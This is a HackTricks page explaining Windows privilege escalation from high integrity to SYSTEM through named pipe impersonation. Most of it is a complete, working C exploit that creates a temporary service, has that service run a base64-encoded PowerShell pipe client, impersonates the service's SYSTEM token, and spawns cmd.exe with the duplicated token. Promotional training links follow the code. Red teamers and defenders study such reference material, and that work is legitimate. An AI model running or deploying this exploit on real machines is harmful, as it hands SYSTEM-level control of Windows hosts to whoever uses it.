From High Integrity to SYSTEM with Name Pipes - HackTricks

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Code flow:

1. Create a new Pipe
2. Create and start a service that will connect to the created pipe and write something. The service code will execute this encoded PS code: `$pipe = new-object System.IO.Pipes.NamedPipeClientStream("piper"); $pipe.Connect(); $sw = new-object System.IO.StreamWriter($pipe); $sw.WriteLine("Go"); $sw.Dispose();`
3. The service receive the data from the client in the pipe, call ImpersonateNamedPipeClient and waits for the service to finish
4. Finally, uses the token obtained from the service to spawn a new cmd.exe

> [!WARNING] If you don't have enough privileges the exploit may get stucked and never return.

    #include <windows.h>
    #include <time.h>

    #pragma comment (lib, "advapi32")
    #pragma comment (lib, "kernel32")

    #define PIPESRV "PiperSrv"
    #define MESSAGE_SIZE 512

    int ServiceGo(void) {

    	SC_HANDLE scManager;
    	SC_HANDLE scService;

    	scManager = OpenSCManager(NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_ALL_ACCESS);

    	if (scManager == NULL) {
    		return FALSE;
    	}

    	// create Piper service
    	scService = CreateServiceA(scManager, PIPESRV, PIPESRV, SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS,
    		SERVICE_DEMAND_START, SERVICE_ERROR_NORMAL,
    		"C:\\Windows\\\System32\\cmd.exe /rpowershell.exe -EncodedCommand JABwAGkAcABlACAAPQAgAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAFAAaQBwAGUAcwAuAE4AYQBtAGUAZABQAGkAcABlAEMAbABpAGUAbgB0AFMAdAByAGUAYQBtACgAIgBwAGkAcABlAHIAIgApADsAIAAkAHAAaQBwAGUALgBDAG8AbgBuAGUAYwB0ACgAKQA7ACAAJABzAHcAIAA9ACAAbgBlAHcALQBvAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4AUwB0AHIAZQBhAG0AVwByAGkAdABlAHIAKAAkAHAAaQBwAGUAKQA7ACAAJABzAHcALgBXAHIAaQB0AGUATABpAG4AZQAoACIARwBvACIAKQA7ACAAJABzAHcALgBEAGkAcwBwAG8AcwBlACgAKQA7AA==",
    		NULL, NULL, NULL, NULL, NULL);

    	if (scService == NULL) {
    		//printf("[!] CreateServiceA() failed: [%d]\n", GetLastError());
    		return FALSE;
    	}

    	// launch it
    	StartService(scService, 0, NULL);

    	// wait a bit and then cleanup
    	Sleep(10000);
    	DeleteService(scService);

    	CloseServiceHandle(scService);
    	CloseServiceHandle(scManager);
    }

    int main() {

    	LPCSTR sPipeName = "\\\\.\\pipe\\piper";
    	HANDLE hSrvPipe;
    	HANDLE th;
    	BOOL bPipeConn;
    	char pPipeBuf[MESSAGE_SIZE];
    	DWORD dBRead = 0;

    	HANDLE hImpToken;
    	HANDLE hNewToken;
    	STARTUPINFOA si;
    	PROCESS_INFORMATION pi;

    	// open pipe
    	hSrvPipe = CreateNamedPipeA(sPipeName, PIPE_ACCESS_DUPLEX, PIPE_TYPE_MESSAGE | PIPE_WAIT,
    		PIPE_UNLIMITED_INSTANCES, 1024, 1024, 0, NULL);

    	// create and run service
    	th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)ServiceGo, NULL, 0, 0);

    	// wait for the connection from the service
    	bPipeConn = ConnectNamedPipe(hSrvPipe, NULL);
    	if (bPipeConn) {
    		ReadFile(hSrvPipe, &pPipeBuf, MESSAGE_SIZE, &dBRead, NULL);

    		// impersonate the service (SYSTEM)
    		if (ImpersonateNamedPipeClient(hSrvPipe) == 0) {
    			return -1;
    		}

    		// wait for the service to cleanup
    		WaitForSingleObject(th, INFINITE);

    		// get a handle to impersonated token
    		if (!OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, FALSE, &hImpToken)) {
    			return -2;
    		}

    		// create new primary token for new process
    		if (!DuplicateTokenEx(hImpToken, TOKEN_ALL_ACCESS, NULL, SecurityDelegation,
    			TokenPrimary, &hNewToken)) {
    			return -4;
    		}

    		//Sleep(20000);
    		// spawn cmd.exe as full SYSTEM user
    		ZeroMemory(&si, sizeof(si));
    		si.cb = sizeof(si);
    		ZeroMemory(&pi, sizeof(pi));
    		if (!CreateProcessWithTokenW(hNewToken, LOGON_NETCREDENTIALS_ONLY, L"cmd.exe", NULL,
    			NULL, NULL, NULL, (LPSTARTUPINFOW)&si, &pi)) {
    			return -5;
    		}

    		// revert back to original security context
    		RevertToSelf();

    	}

    	return 0;
    }

> [!TIP] Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
> Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

> Support HackTricks
> - Check the subscription plans!
> - Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
> - Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.